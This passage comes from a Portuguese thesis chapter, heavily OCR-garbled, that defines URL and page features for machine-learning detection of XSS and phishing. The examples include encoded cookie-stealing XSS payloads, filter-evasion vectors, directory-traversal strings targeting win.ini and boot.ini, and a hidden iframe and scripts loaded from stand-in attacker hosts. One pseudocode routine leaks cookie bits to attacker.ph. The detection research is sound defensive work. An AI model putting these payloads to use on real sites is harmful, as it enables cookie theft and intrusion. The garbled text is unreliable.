Contudo, a divisdo dessas bases pode ser reakegimdo diferentes métodos de amostragem,

como por exemplo, a validacao cruzada [Alpaydid@Q[Batista, 2003].
4.1.2 Etapa de Extragéo de Caracteristicas de Codigdfuscado

As caracteristicas propostas neste trabalho foedegienadas a partir da fase de pré-processamento
dos dados (Apéndice A) e com base na literaturaival a deteccdo de XS®hishing drive
exploitse a partir da andlise das bases de conhecimenttidam peloThe Mitre Corporation
CAPEC -Common Attack Pattern Enumeration and Classificafluttp://capec.mitre.org), CWE -
Common Weakness Enumeratidittp://cwe.mitre.org) e CVE Common Vulnerabilities and

Expossureghttp://cve.mitre.org).

Esta etapa corresponde a primeira fase de ext@dedmaracteristicas, em que o conteudo
estéatico do documenteebe da URL sdo analisados, e os valores corresptasdas caracteristicas
selecionadas, baseadas em ofuscacao, séo extea&ogzenados em um vetor de caracteristicas.

Conforme mencionado no Capitulo 2, a ofuscacdoddeye malicioso com o uso de codificacdes
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alternativas sdo um dos recursos mais empregadasagmes XSS [Likarish et al., 2009], [SGSO09,
2009], [Grosman, 2007]. O uso dessa estratégiailédeo pela diversidade de alfabetos e simbolos
que sao representados por diferentes codigos deteses, como por exemplo, a codificagdo US-
ASCII, que abrange letras e simbolos da linguaesggl a codificacdo 1SO-8859-6, que abrange
letras e simbolos do vocabulario arabe @nicode que abrange praticamente todos os alfabetos
[W3C, 2010].

Entretanto, a pagina pode ndo ser capaz de expresks 0s caracteres do conjunto de
caracteres do documenteeh Nesses casos, 0s caracteres podem ser represeqad uma
codificacdo independente, formada por caractereserdidades de referéncia numéricas, que
empregam codificagdo Decimal, Hexadecimal, ou adgéd de referéncia nominais, também
chamadas de stapes [W3C, 2010], uma forma adicional de representan garacter em
codificacdo ASCII. A Tabela 4.1 demonstra algunhas codificacdes alternativas mais usadas para
representar caracteres ASCII.

Tabela 4.1. Codificacfes de caracteres ASCII.

Caracteres Decimal | URL/URI URL/URI Entities Entities
ASCII Hex Unicode HTML Dec HTML Hex
(%XX) (%uUUUU) (&H#XX) Hex(&#xXX)
Hex long (&#x00XX)
A-Z 65-90 %41-%5% | %u0041-%u005A &#65-&#90 &HxA 1A
a-z 97-122 %61-%72| %u0061-%UuU007A &#97- &#122  &#Hx&HXTA
0-9 48-57 %30-%39| %u0030-%u0039  &#48-&#57 &#Hx30x88
1“#$3% & ()*+,-./ | 33-47 %21-%2F %u002bu002F | &#33-&#47 &#tx21-&#x2F
<=>7@ 58-64 %32-%40, %u003A-%u0040 &#58-&#64 &#x3A-&#x40
[\~ 91-96 %5B-%5H %u005B-%u005F &#91-&#96 &#x5B-&#x5F
{|}~ 123-126 | %7B-%7E| %u007B-%U007E &#123-&#126 #¥/B-&#XTE

Apesar do importante papel de intercambiar a cooagép, todas essas codificacbes nao
ASCII representam uma gama de codificagfes aligasatmuitas vezes usadas de forma maliciosa
na ofuscacdo de vetores XSS, tornando esse corgjentalores codificados uma fonte importante
de caracteristicas para a deteccdo de vetores ASEiportancia desse conjunto pode ser
confirmada no trabalho de Likarish et al. [2009h gue os autores alcancaram excelentes taxas de

deteccdo de cdodigo malicioso empregando caradtessbaseadas em ofuscacdo de codigo
JavaScript

4.1.2.1 Grupo de Caracteristicas Baseadas em Ofuséa de Codigo

Este grupo é composto por 18 (dezoito) caracteastijue correspondem a caracteres ou padrées
conhecidos dstrings codificadas em formatos ndo ASCII e usadas fregueente para ofuscar o
cbdigo malicioso injetado na URL ou no documenéd.Apesar de similares, as caracteristicas em

cada escopo (URL e documeni@b) sdo tratadas como caracteristicas individuaie fab de
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apresentarem conjuntos de valores diferentes.

O objetivo de vetores XSS que comumente apreseimnsaracteristicas de ofuscacéo
descritas abaixo sé@o contornar filtros de validad@entrada de dados, restricdes de acesso, causar
a negacao de servico de uma aplicacéo, viabilizaresso a lista de diretorios, dissemmatware
ou facilitar a exploracédo de vulnerabilidades airges locais da maquina alvo [CAPEC-72, 2010],
[Likarish et al., 2009], [Grossman, 2007]. A des&d dessas caracteristicas € acompanhada de
exemplos de vetores XSS usados em ataques. Caadtagsque 0 objetivo ndo é realizar uma
analise detalhada do cddigo malicioso, mas sinmefmer uma visdo geral da presenca e emprego

dessas caracteristicas nesses vetores. As castctasrileste grupo sédo descritas a seguir:

» Tamanho da URL (url_lengh) [CAPEC-72, 2010], [Ma et al., 2009]: esta carastera
corresponde a quantidade de caracteres que comp&mmanho da URL e foi empregada
para distinguir URLs potencialmente ofuscadas, desais. A ofuscacdo de codigo
malicioso em URLs € amplamente usada em ataques g{&8Snormalmente apresentam
um padrdo de tamanho maior que as URLs sem caghificatendo por referéncia a
codificacdo ASCII. Assim, por exemplo, para cadacir ASCII, € necessario o dobro de
caracteres em Hexadecimal para representa-lo. &ademais codificacdes, dependendo
da quantidade de simbolos do cddigo, o efeito égodAlém disso, essas codificacdes
empregam caracteres adicionais em sua representBofioexemplo, a representacao
Unicodepode ser realizada com o prefixo “u” e a Hexadatpode ser representada com
prefixo “%”, todos seguidos do namero posicionalCASno formato Hexadecimal. Para
exemplificar a diferenca de tamanho entre as URIirs aodificacbes diferentes €&
demonstrado um vetor XSS, em codigo ASCII, empregad ataques via URL que exibe
um popupde alerta com oookieatual para o site acessado, inserido &agos= (linhas 1 a
3) para o formato Hexadecimal, linhas 4 a 8, daifaigl.2 e para o formatdnicode
linhas 4 a 11 da Figura 4.4.

» Caracteres em Formato Hexadecimaluyl_hex e dw_he{ICAPEC-72 2010], [Grossman
2007], [Ollmann 2002]: corresponde ao numero daréogcias de caracteres no formato
Hexadecimal. Os ataques XSS utilizam frequentemantedificacdo Hexadecimal para
ofuscar o codigo malicioso e burlar filtros e expltovulnerabilidades conhecidas. A
presenca de um prefixo "%", “&#x” ou “0x” seguide dois digitos na faixa [0-9A-Fa-f]
indica uma codificagdo no formato Hexadecimal, quele representar variacbes de

charsets (codigos de representacdo) como ISfhin e Unicode dentro da faixa de
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representacdo da codificacdo US-ASCII, além dasficagbes de referénci&ntities
HTML numérico em formato Hexadecimal. A Figura degmonstra a conversdo do cédigo
malicioso, inserido aposype= (linhas 1 a 3), em formato ASCII para o formato

Hexadecimal (linha 4 a 8) dentitiesHTML numérico em Hexadecimal (linhas 9 a 17).

Vetor de XSS em Formato ASCII

1: http://www.siteconfiavel.com/search.html?type= <"<<sCrlpT>alert
2: (document.cookie)</sCrlpT><"<<sCrlpT>alert(document .cookie)
3: </sCrlpT>
Vetor de XSS em Formato Hexadecimal

4: http://www.siteconfiavel.com/search.html?type= 3C%22%3C%3C%73%4
5: 3%72%%49%70%54%3E%61%6C%65%72%74%28%64%6F%63%85%6E%/4%2E
6: 2063%6F%6F%6B%69%65%29%3C%2F%73%43%72%49%70%54%22%3C%3C%7
7: 3%43%72%49%70%54%3E%61%6C%65%72%74%28%64%6F%6 398 TG0 E% 74%
8: 2E%63%6F%6F%6B%69%65%29%3C%2F%73%43%72%49%70%28463E%

Vetor de XSS em FormatcdEntities HTML (Hexadecimal)
9: http://www.siteconfiavel.com/search.html?type= &#x3C;&#x22;&#x3
10: C;&#X3C;&#XT 3, &H#XA3;&#XT 2, &#X49;&#X70;8#x54;&#X3E ;& #x61;&8#x6C;
11:  &#X65;&#XT72;8#XT4,&#X28;&#X64 ;& #XOF ;| &#X63;&#XT5; &#X 6D;&#x65;&#
12:  X6E;&#X74;8&#X2E;&#X63;&#X6F;&#X6F;&#x6B;&#x69;&#x65 1 &#X29;&#x3
13:  C;&#X2F;&#XT3;&#XA3;&H#XT2;&#XA49;&#X70;&#x54;&#X3E ;& #x3C;&#x22;
14:  &#X3C;&#xX3C;&#X73;&#XA3;&#XT2;&H#XA9;&#X70;&#X54;&#X 3E;&#x61;&#
15: X6C;&#X65;8#XT2;8#XT4,8#X28;&#X064 ;& #X6F ;&#X63;&#X 75 :&#x6D;&#x6
16: 5;&#X6E;&#XT74;&#X2E ;&#X63;8#X6F ;& #X6F;&#X6B;&#x69;& #x65;&#x29;
17:  &#X3C;&#X2F;&#XT3;&H#XA3;&H#XT2;&#XA9;&#X70;&#xX54;&#X 3E

Figura 4.2. Exemplo de vetor XSS usando codificacéo Hexadecimal.

» Caracteres em Formato Decimal ou Octafurl_dec_octal e dw_dec_oc}dICAPEC-72,
2010], [Grossman, 2007], [Ollmann, 2002prresponde ao numero de ocorréncias de
caracteres no formato Octal ou Decimal. Muitos @aqXSS utilizam a codificacdo
Decimal ou Octal para ofuscar o codigo maliciosprésenca de um prefixo “&#” seguido
de dois ou trés digitos na faixa [0-9] indica urodificacdo no format&ntitiesHTML em
formato decimal. Estas caracteristicas abrangerb&anvalores decimais ou octais sem
prefixo, frequentemente manipulados por funcdestrilegse por métodos que acessam ou
alteram a estrutura DOM. A Figura 4.3 exemplificaso dessa caracteristica em um vetor
usado em ataques XSS do tigefacemenpassivo, que forma ungtring “XSS” a ser
exibida pelo métodalert ( ) (linhas 1 e 2), a partir de valores posicisnaBCIl em
formato Decimal (linhas 3 a 7) antitiesHTML (linhas 8 a 16), empregando o método
fromCharCodq ).
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Vetor de XSS em Formato ASCII
["><script>"; alert (XS9Y/N; alert (XS9//"; alert (XS9/N'; alert
( XS9//--</SCRIPT>">"><SCRIPT> alert ( XS9</SCRIPT></script>

Vetor de XSS em Formato Decimal
["><script>";alert(String. fromCharCode (88,83,83 ))//\';alert(
String. fromCharCode (88,83,83 ))//";alert(String. fromCharCode
(88,83,83 ))/N\";alert(String. fromCharCode (88,83,83 ))/--></
SCRIPT>">"><SCRIPT>alert(String. fromCharCode (88,83,83 ))</SCRIP
T></script>

RO C)

Vetor de XSS em FormatcdEntities HTML (Decimal)

8: &HAT&H#8221&#628#608#115&#I9&#1148&H#1058&#1128#1168#62 &#39&#59&#9
9: 7&#108&#1018#1148#116&#A408#888&H#83&#HBIEHALEHATEHATEH 92&#39&H#59&
10: #978&#1088&#101&#1148&#116&#408&H#888&#83&#HBI&HA1&HATEHAT &H34&H59&H9
11: 7&#108&#1018#1148#116&#A08#888&H#83&HBIEHALEHATEHATEH 928&#348&H#59&
12: #978&#1088#1018&#1148&#116&#408&H#888&H#B3&#HB3&HAA1EHATEHAT &HASEHAS5EH#6
13: 08#47&#838&H#678#828&#138&H#B0&HBAHOC28&#348H#H62&8#398&#628# 60&H#83&H67&
14: #828&#738&#80&#848&H#62&#97 &#108&#101&#1148#116&8#40&#88 &#83&#838&#4
15: 18&#608&#478&#83&#67&#828&#73&#B08&H#B4&H628&#608#47T&H#115& #99&#1148&#1
16: 058&#1128#1168#62

Figura 4.3. Exemplo de vetor XSS usando codificacdo Decimal.

» Caracteres em formato Unicode(url_uni e dw_un) [CAPEC-72, 2010], [Grossman,
2007], [Ollmann, 2002]: corresponde ao numero derréacias de valores no formato
Unicode Cabe ressaltar que existem diferentes formasptesentacdonicode Contudo,
neste trabalho foi empregado apenas o formato (%)UOnde UUU sado digitos no
formato Hexadecimal na faixa [0-9-Fa-f], por sesthate empregado em ataques XSS e
suportado pela maioria dos navegadoseb populares, como por exemplo, laternet
Explorer. A Figura 4.4 demonstra a conversdo do codigoamab, inserido apot/pe=

(linhas 1 a 3), em formato ASCII para o formbhaicode(linha 4 a 11).

Vetor de XSS em Formato ASCII

1 http://www.siteconfiavel.com/search.html?type= <"<<sCrlpT>aler
2: t(document.cookie)</sCripT><"<<sCrlpT>alert(documen t.cookie)<
3: /sCrlpT>

Vetor de XSS em Formato Unicode
4: http://www.siteconfiavel.com/search.html?type= u060;u034;u060;
5: u060;ul15;u067;ul14;u073;ull2;u084;u062;u097;ulos8;u 101;ull4;u
6: 116;u040;u100;u111;u099;ul117;ul09;u101;ul10;ul16;ul 46;u099;ul
7: 11;ul111;ul07;ul05;u101;u041;u060;u047;ul15;u067;ull 4;u073;ull
8: 2:u084;u062;u060;u034;u060;u060;ul15;u067;ull4;u073 ;ull12;u084
9: ;u062;u097;u108;u101;ul114;ul16;u040;ul00;ul11;u099; ull7;ul09;
10: ul01;ul10;ull6;u046;u099;ulll;ull11;ul07;ul05;uldl;u 041;u060;u
11: 047;u115;u067;ul14;u073;ul12;u084;u062;

Figura 4.4. Exemplo de vetor XSS usando codificacdo Unicode.

» Entidades HTML (Nominal) (url_entities_namee dw_entities_name[SCG09, 2009],
[Grossman, 2007], [Chiffriertechnik & Sicherheif)@5], [Ollmann, 2002]corresponde ao
namero de ocorréncias de caractdeesities HTML nominal. Diante da diversidade de
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codificacdes, alguns caracteres que nao séo sdperela aplicacdwebou que precisam
ser representados por uma codificagdo equivalgmelem empregar caracteres de
entidades de referéncia HTML Nominal, tais coilb; &gt e &amp Entretanto, esses
recursos também s&o frequentemente empregados woradorma de ofuscar codigos
maliciosos pela representacdo inadequada ou exaedsi caracteres reservados em
HTML, tais como caracteres “<”, “>’, “&”, entre owds caracteres reservados. A Figura
4.5 demonstra um vetor que emprega entidades HTarh pfuscar caracteres reservados

em HTML e burlar a acao de filtros de validacdouwemataquelefacemenpassivo.

Vetor de XSS Usando Entidades HTML Nomimal
&gt;&lt;  script  &gt; alert( &quot; xssedbyazat &quot; ) &It; /script  &gt;
&gt;&lt;  script &gt; alert( &quot; xssedbyazat &quot; ) &It; /script  &gt;
&gt;&lt;  script  &gt; alert( &quot; xssedbyazat &quot; ) &lt; /script  &gt;
&gt;&lt;  script  &gt; alert( &quot; xssedbyazat &quot; ) &lt; /script  &gt;
&gt;&lt;  script  &gt; alert( &quot; xssedbyazat &quot; ) &It; /script  &gt;
&amp; loginForm[redirectAction]= &amp; loginForm[password]= &gt;&lt
;script  &gt; alert( &quot; xssed’) &lt; /script  &gt;&amp; login= &gt;&lt
; script  &gt; alert( &quot; xssed &quot; ) &lt; /script  &gt;

DRDEG DN

Figura 4.5. Exemplo de vetor XSS usando entidades H TML nominal.

Caracteres em Formato Base64(url_base64 e dw_basep4CAPEC-72, 2010],
[Grossman, 2007], [Olimann, 2002Jorresponde ao niumero de ocorréncias de cadeias de
caracteres codificadas no formato Basé&Bghsidera-se uma provavel cadeia de caracteres
codificada em Base64 aquela que apresenta umansegué faixa [a-zA-Z0-9] e “+/7,
com mais de 3 repeticdbes do mesmo caractere esange de um possivel sufixo “=" ou
“=="no fim do texto. A sequéncia “==" indica queuitimo grupo contém 1 byte e “="
indica que contém 2 bytes. Para esta caracteribicem consideradas cadeias acima de
40 caracteres, pois abrange o tamanho desenipt com poucos caracteres e exclui as
chaves ou IDs incorporadas na URL ou no documestpcomo por exemplo, a ID de um
cookie que possui uma cadeia de 32 caracteres. Foi @vadal também a média de
tamanho das palavras do vocabulario da lingua daglende a maior palavra possui 45
caracteres. A Figura 4.6 demonstra a conversaadiga malicioso, inserido apdgpe=

(linhas 1 a 3), em formato ASCII para o formatod&s(linha 4 a 6).

Vetor de XSS em Formato ASCII
1: http://www.siteconfiavel.com/search.html?type= <"<<sCrlpT>alert
2: (document.cookie)</sCrlpT><"<<sCrlpT>alert(document .cookie)
3: </sCrlpT>

Vetor de XSS em Formato Base64
4: http://www.siteconfiavel.com/search.html?type= PCI8PHNDcklwVD5hb
5: GVydChkb2N1bWVudC5jb29raWUpPC9zQ3JJcFQ+PCI8PHNDcklw VD5hbGVydChk
6: b2N1bWVudC5jb29raWUpPC9zQ3JJcFQ+Lg==

Figura 4.6. Exemplo de vetor XSS usando codificacao Base64.
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» Padrdes Maliciosos Codificadogurl_handHe) [CAPEC-43, 2010], [CAPEC-64, 2010],
[CAPEC-72, 2010], [CAPEC-120, 2010]: corresponde raonero de ocorréncias de
caracteres ou a combinacdo de caracteres codificano Hexadecimal empregadas de
forma maliciosa em URLs. Sdo padrdes conhecidodogsam tentativas deypassda
l6gica de validacdo e dos mecanismos de filtragemedtrada em uma URL, para
promover erros de pagina, acessar diretdérios enguesa transversais, explorar
vulnerabilidades em multiplas camadas de interpéetaentre outros. Esses padrdes
utilizam caracteres especiais que muitas vezessitem de tratamento de sintaxe especial
a fim de ser interpretado, o que pode permitir@aacéo de vulnerabilidades em recursos
weh A Figura 4.7 demonstra alguns exemplos desse®gmdAs linhas 1 a 5 mostram
vetores que fazem uso combinado de caracteresicamtit “/” (barra), “\" (barra
invertida), e “.” (ponto), no formato Hexadecima&m ataques de atravessamento de

diretorios.

Vetor de XSS usando a Sequéncia (\\W.\\\)
1: http://<host>/ %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2aditiiows %
2: 5cwin.ini;

Vetor de XSS usando a Sequéncia (..)
3: http://<host>/ %2e%2e%2e%2e%2e%2e%2e%2e%2efalmexec.bat;
Vetor de XSS usando a Sequéncia (../../..I../)

4: http://localhost/phpscript.php?whatever= %2e%2e/%2e%2e/%2e%2e/
5: %2e%2e/boot.ini.

Figura 4.7. Exemplo de vetor XSS usando padrées mal iciosos conhecidos.

» Caracteres de Controle(url_dvctrl e url_dvctrl): corresponde ao numero de ocorréncias
de caracteres de controle codificados, tais cortioot! TAB - Tabulamento Horizontal
(u0009, %09, &#x09, &#09 ou 011), "\r" ou CR — Reim de Carro (u000D, %0D,
&#x0D, &#13 ou 015), "\n" ou NL — Nova Linha (uO0QAGOA, &#x0A, &#10 ou 012),
entre outros. Os caracterbsill e whitespaceséo tratados em caracteristicas separadas.
Esses tipos de recursos sdo normalmente injetaso®dntuito de burlar filtros, explorar
vulnerabilidades ou causar ucnash ou negacdo de servico na pagmeb pelo uso de
entrada de dados mal formada ou invalida. A Figudemonstra o uso do caracter de
controle NL, comumente usado para burlar filtrovaledacao de entrada de dados, em um

vetor de ataque do tipefacemenpassivo.

Vetor de XSS usando NL(New Ling
1: <IMG SRC="jav &#x0A;ascript:alert('’XSS");">

Figura 4.8. Exemplo de vetor XSS usando caracteres  de controle.
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e Caracteres Null (url_null) [CAPEC-52, 2011], [CAPEC-72, 2010korresponde ao
namero de ocorréncias de caractédMedis codificados. Um atacante pode embutir um ou
maisNulls (u0000, %00, &#x00, &#00, 000 ou 0x00) em diversadificacbes de entrada
para umsoftwarealvo como um terminador dgring. Muitos componentes de software
interrompem o processamento ao interpretar um temfdall. A Figura 4.9 demonstra dois
exemplos de vetores XSS, em que o caraui#r(%00) € usado para causar a interrupgao

do processamento de uma pagiebou recursos da maquina alvo (linhas 2 e 5).

Vetores de XSS usando Caractaxull

1: [[Exemplo 1

2: http://www.victim.com/ %00

3: [[Exemplo 2

4: http://localhost/phpscript.php?whatever=../../../.. /boot.ini
5: %00

Figura 4.9. Exemplos de vetores XSS usando caracter  Null.

e Caracteres WhiteSpace (url_whitespacg [Likarish et al., 2009], [CVE-0424, 2008],
[CVE-0280, 2004]: corresponde ao numero de ocorréncias do caractecodt&ole
whitespace(u0020, %20, &#x20, &#32 ou 040). Esses recursis mjetados com
frequéncia para burlar filtros, explorar vulnerml@ties conhecidas, causarash de
pagina, como por exemplo, através de uma solictagiconvite conwhitespacg%?20)
no campo do convit€ookie entre outras. A Figura 4.10 demonstra um exerdeloetor

XSS em que este recurso é usado.

Vetor de XSS usando WhiteSpace (%20)
http://www.ettelaat.com/printfarsi.asp?fname=/ettel aat/intern
ational/data/2006/12/1220/90.htm&amp;title=&amp;dat e=%D9%BE%D
9%86%D8%AC%D8%B4%D9%86%D8%A8%H208820%20%20%20%20%8208%A2
%D8%B0%D8%®20%20%20%2AB35GNK%22%3E%3Cscript%3Ealert(%27XSS
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%82298220%20%
20%20--GANOK%27)%3C/script%3E.

Figura 4.10. Exemplo de vetor XSS usando  WhiteSpace.

» Caracteres Backslash(url_slast) [CAPEC-43, 2010], [CAPEC-64, 2010], [CAPEC-72,
2010], [CAPEC-78, 2010], [CAPEC-120, 2016hrresponde ao nimero de ocorréncias de
caractereshackslash™\" codificados (UO05C, %5C, &#x5C, &#92 ou 134hameras
vulnerabilidades tém sido exploradas com esse securnis como a de contornar a
validacdo de entrada, acessar diretorios, dadesaid recursos em aplicac@esh Esses
caracteres sdo frequentemente usados para ofuscdescapar’ caracteres especiais
inseridos no cédigo malicioso. Um atacante podeefoer uma sequéncia de caracteres

especiais para burlar as diversas camadas de gédida demais camadas de andlise da
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aplicacdoweh Em algumas aplicacdes o caracter “\” pode sewerdido em “/”. Se a

camada de validag&o estiver entre as duas camadasatise da aplicacdo, a injecédo de
caracteres duplicados tal como \\.\\\. pode sarexdida para “..”, permitindo ataques de
passagem de diretorios. A Figura 4.11 demonstraxamplo simples do uso deste tipo de
recurso para burlar filtros de validacdo de ent@delalados em um vetor empregado em

ataques XSS do tipdefacemenpassivo.

Vetor de XSS usanddscapeq*\’)
1: "<SCR\ OIPT>alert(  %5c'XSS\ ")</SCR \ OIPT>"

Figura 4.11. Exemplo de Vetor XSS usando Backslash.

» Caracteres ASCII Estendido (dw_simbol corresponde ao numero de ocorréncias de
caracteres especiais e simbolos da tabela AS@hdida, tais como “¥4" (&#AC), “¢”
(&#9b), entre outros simbolos encontrados no calteid documentweh Estes simbolos
sao usados para ofuscar codigos maliciosos, Hilttas de validacdo de entrada de dados
ou gerar erros em paginagh A Figura 4.12 demonstra o emprego desses simleatos

um vetor empregado em ataques XSS dodgfacemenpassivo.

Vetor de XSS usando Simbolos
1: &lt ;Yascript ¥alert( ¢XSSt) ¥script ¥

Figura 4.12. Exemplo de vetor XSS usando simbolos d  a tabela ASCII estendida.
4.1.3 Etapa de Decodificacdo de Paginas Web

ApoOs a deteccdo de codigo ofuscado na URL ou nardestoweb, a fase de normalizacdo dos
dados € iniciada. Esta fase consiste na decodificdas paginaseb com cédigo ofuscado para a
codificagdo ASCII, a fim de tornar o texto inteligi e viabilizar a identificacdo e extracdo das
demais caracteristicas definidas nas Secdes 4.4.4.1.4.2. A realizacdo desta tarefa requer a
implementacédo de mecanismo de conversao das @ydiés nos formatos Hexadecimal, Decimal,

Octal,Unicode Base64 e entidades HTML, para o formato ASCII.
4.1.4 Etapa de Extragcéo de Caracteristicas Decodifidas

Apos a decodificacdo da pagimeel inicia-se a segunda fase de extracdo de carsdtasi. As

caracteristicas baseadas em ofuscacdo ndo podearmibetr, isoladamente, se o cddigo €
malicioso, visto que as codificacOes alternativasmiiém sdo empregadas em codigos néo
maliciosos. Além disso, como j& mencionado, a @¢do inviabiliza a identificacdo e extragdo de

Nnovos grupos de caracteristicas que podem contdbm a acuracia na deteccao de XSS.

Esta etapa consiste na extracdo dos valores con@sptes as caracteristicas selecionadas
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apos a etapa de decodificacdo ou que ja se encamiram formato ASCII. Essas caracteristicas
correspondem aos grupos baseados em padrdes gsisgpbiseados em esquemas potencialmente
inseguros, descritos nas Secoes 4.1.4.1 e 4.1.4.2.

4.1.4.1 Grupo de Caracteristicas baseadas em padsdguspeitos

Este grupo é composto por 12 (doze) caracterisgcg®r um conjunto de valores que nao
correspondem aos padrdes normais de sintaxe detieguavaScript,ou correspondem a padroes
de ataques conhecidos. As caracteristicas degie géo descritas a seqguir:

 URL Baseada em IRurl_IP_based [Sanglerdsinlapachai et al., 2010], [CAPEC-4,@01
[Ma et al., 2009], [Miyamoto et al., 2008], [Fettal., 2007]: corresponde ao numero de
ocorréncias de enderecos IPs presentes na URLite9degitimos normalmente usam um
nome de dominio para enderecar suas paginas. angeesle IP na URL é uma prética nédo
recomendada e representa uma caracteristica cratdadesuspeita. Esse recurso €
comumente empregado em ataques de pt8shing Além da verificagdo da existéncia de
IP em seu formatmuad convencional, a andlise e extracdo foram estesdid@a o
formato Hexadecimal e Octal por ndo serem contestoplaia etapa de decodificacdo para
formatos IP. A Figura 4.13 demonstra uma URL basea IPs em formatajuad (linha
1) e em formatos na codificagdo Hexadecimal (lirthas3) e Octal (linha 4).

URL em formato QUAD
1: http://  74.125.234.16  /xss.js.
URL em formato Hexadecimal
2: http://  Ox4a.0x7d.0xea.0x10 IXss.js.
3: http://  4a.7d.ea.10 /xss.js.
URL em formato Octal
4: http://  0112.0175.0352.0020  /xss.js.

Figura 4.13. Exemplos de URLs baseadas em IPs.

* Quantidade de Pontos na URL(url_dot) [Sanglerdsinlapachai et al., 2010], [Ma et al.,
2009], [Miyamoto et al., 2008], [Fette et al., 2D0@sta caracteristica corresponde a
quantidade de pontos encontrados na URaques de redirecionamento incluem URLsS
em cadeia e subdominios, que normalmente direci@naitima paraitesde atacantes ou
para a execugdo de arquivos ou recursos exterressell casos existe um aumento do

namero de pontos owl6ts' (".").

» Top Level Domain(url_TLD_dange) [Whittaker et al., 2010], [Keats & Greve, 2009]:
esta caracteristica corresponde a quantidade dénidsnde nivel primario, TLD Top

Level Domai, potencialmente perigosos presentes na URL. ESd4d3 foram
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selecionados pela empresa MacAfee [Keats & Gre®89]2como os TLDs com maior
risco de ameacas weeh Esta caracteristica possui um conjunto com o¢sé8senta e
dois) dominios mais usados em ataqueseta Whittaker et al. [2010] também relacionam
alguns desses TLDs em seu trabalho como potencitdrperigosos para a ameaca do tipo
phishing como por exemploCameroon(.cm), People's Republic of Chin@cn), Samoa
(.ws), Philippines (.ph), Former Soviet Union(.su), Information (.info), Russia (.ru),
Singapore(.sg), etc. A Figura 4.14 demonstra o emprego meTlD potencialmente

perigoso em um ataque do tidefacementque exibe umframe originado do TLD cm

(Camerooi.
Vetor de XSS usando TLDs de Risco
1: http://www.presidentielle2004.gov . cm/forum.php?lang=en&module
2: =showmess&id_theme=<iframename="Presidentielle”src= http://att
3: acker .cm width=6 height=6 style="display:none"></iframe>

Figura 4.14. Exemplo de vetor XSS usando TLDs de ri  sco.

Caracteres Especiaiqurl_char_espe dw_char_esp[CAPEC-3, 2010]: corresponde ao
namero de ocorréncias de caracteres especiaisefremnente injetados em coédigos
maliciosos. A presenca macica desses caracteres gaecterizar uma tentativa de
contornar filtros de validagcdo ou de manipular euhbilidades conhecidas por meio de
técnicas de divisdo de ndé — técnica que divide torvde XSS em fragmentos e 0s
armazena em variaveis para posterior concaten@¢ém do uso trivial de caracteres
especiais na ofuscacdo de codigo, as operacfesviddode concatenacdo dirings
atribuicdo de valores a variaveis, uso s#Emicolons(;) em codificacdes, entre outras
técnicas, podem revelar acbes maliciosas, poisngarm aumento significativo de
caracteres especiais que podem ser contabilizaalatistingdo de codigos benignos. O
exemplo 1, da Figura 4.15 demonstra o emprego slessacteres para contornar filtros de
validacéo (linha 2). No exemplo 2 (linhas 4 a &) ser observado que o uso da técnica

de divisdo de n6 também emprega caracteres espexieas.

Vetor de XSS usando Caracteres Especiais

/[Exemplo 1:

<BODY onload #$%&()*~+-_.,;;?@[/\]"'= alert("XSS")>
[[Exemplo 2

a="get";

b="URL( "

c="javascript:";

d="alert (' XSS);\")" ;

eval (atb+c+d);

Figura 4.15. Exemplo de vetores XSS usando caracter es especiais.
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* Arquivos com Extensao .JYurl_JS filese dw_JS files[Yue & Wang, 2009], [Fette et
al., 2007], [Grossman, 2007]: corresponde ao nunmo ocorréncias de arquivos
JavaScript com extensao ".js". A presenca de um arquivo estensdo “.js” de fontes
externas é considerada uma pratica insegura, poisié conhecimento sobre o contetudo
do script que serd executado. A Figura 4.16 mostra um vetadas em ataques que

apontam para um arquivo com extensao “.js” comezaid malicioso.

Vetor XSS usando Arquivo .JS
1: --><script src=http://www.attacker.ru/test/ XSS.js ></script>
2: <I-

Figura 4.16. Exemplo de vetor XSS usando arquivos ¢ om extenséo .JS.

» Palavras Chaves(url_hex e dw_he¥ [Whittaker et al., 2010], [Likarish et al., 2009]
[Grossman, 2007]: corresponde ao numero de ocoae palavras chaves comumente
usadas em redirecionamentos de pagina, ataguglsistenge disseminacédo dealware
etc. SAo exemplos dessas palavras chaves: “X®8hking, "banK', "shell’, "spray’,

"crypt’, "exé,

redirect’, "evil", “ hacked, “hackers, “attackef, “backdoot, etc.

» Caracteres Dobrados em Aberturas e Fechamentos déags (url_char_double e
dw_char_double [CWE-85, 2010] [CAPEC-245, 2010]: corresponde mamero de
ocorréncias de padrdes de caractebeackets (“<” e “>") duplicados. Esses caracteres
sao frequentemente usados em uma sequéncia comlanmadberturas e fechamentos de
tagspara burlar filtros de validagéo. A Figura 4.1 Td@&stra o uso desse recurso em um
vetor XSS empregado em ataques de roulioatkie

Vetor XSS usando Caracteres Dobrados

1: http://www.siteconfiavel.com/search.html|?type= <"< <sCrlpT> >">
2: alert(document.cookie)</sCrlpT> <"< <sCrlpT> >"> alert(document.
3: cookie)</sCrlpT>

Figura 4.17. Exemplo de vetor XSS usando caractere s dobrados.

» Links Externos (dw_links_to} [Kirda et al.,, 2006]: caracteristica corresporided
quantidade dénks externos do mesmo dominio referenciados no coatddddocumento
weh A insercdo de muitodinks com referéncia externa do mesmo dominio pode
representar tentativas de redirecionamento de @gmra recursos maliciosos localizados
remotamente ou execucdo de cddigo malicioso pare ele informacdes criticas, tais
como as informacdes de wunokie Esta caracteristica abrange tambiérks baseados em
enderecos IP. A Figura 4.18 demonstra um codigalaugmara transferir informacdes
fragmentadas deookiesbit a bit por meio ddinks externos do mesmo dominio inseridos

no interior do documentweh



59

Vetor de XSS Usando Links Externos

1: <html>

2:

3: <img src="http://attacker.ph/ bitO_1.jpg “>
4: <img src="http://attacker.ph/ bitl 1.jpg “>
5: <img src="http://attacker.ph/ bit0_2.jpg  “>
6: <img src="http://attacker.ph/ bitl 2.jpg “>
7

8: <img src="http://attacker.ph/ bit0_100.jpg “>
9: <img src="http://attacker.ph/ bitl 100.pg “>
10: ...

11:  <script>

12:  for [i=0 to 100]

13:  {

14:  if (cookie bit is 0)

15:  {

16: <contact http://attacker.ph/ bitO_i >

17:

18: else if (cookie bit is 1)

19: {

20: <contact http://attacker.ph/ bit1 i >

21: '}

22: '}

23:  </script>

24: ..

25:  </html>

Figura 4.18. Exemplo de vetor XSS usando links externos do mesmo dominio.
4.1.4.2 Grupo de Caracteristicas Baseadas em EsquasPotencialmente Inseguros

Este grupo é composto por 16 (dezesseis) cardmasi® um conjunto de valores que identifica a
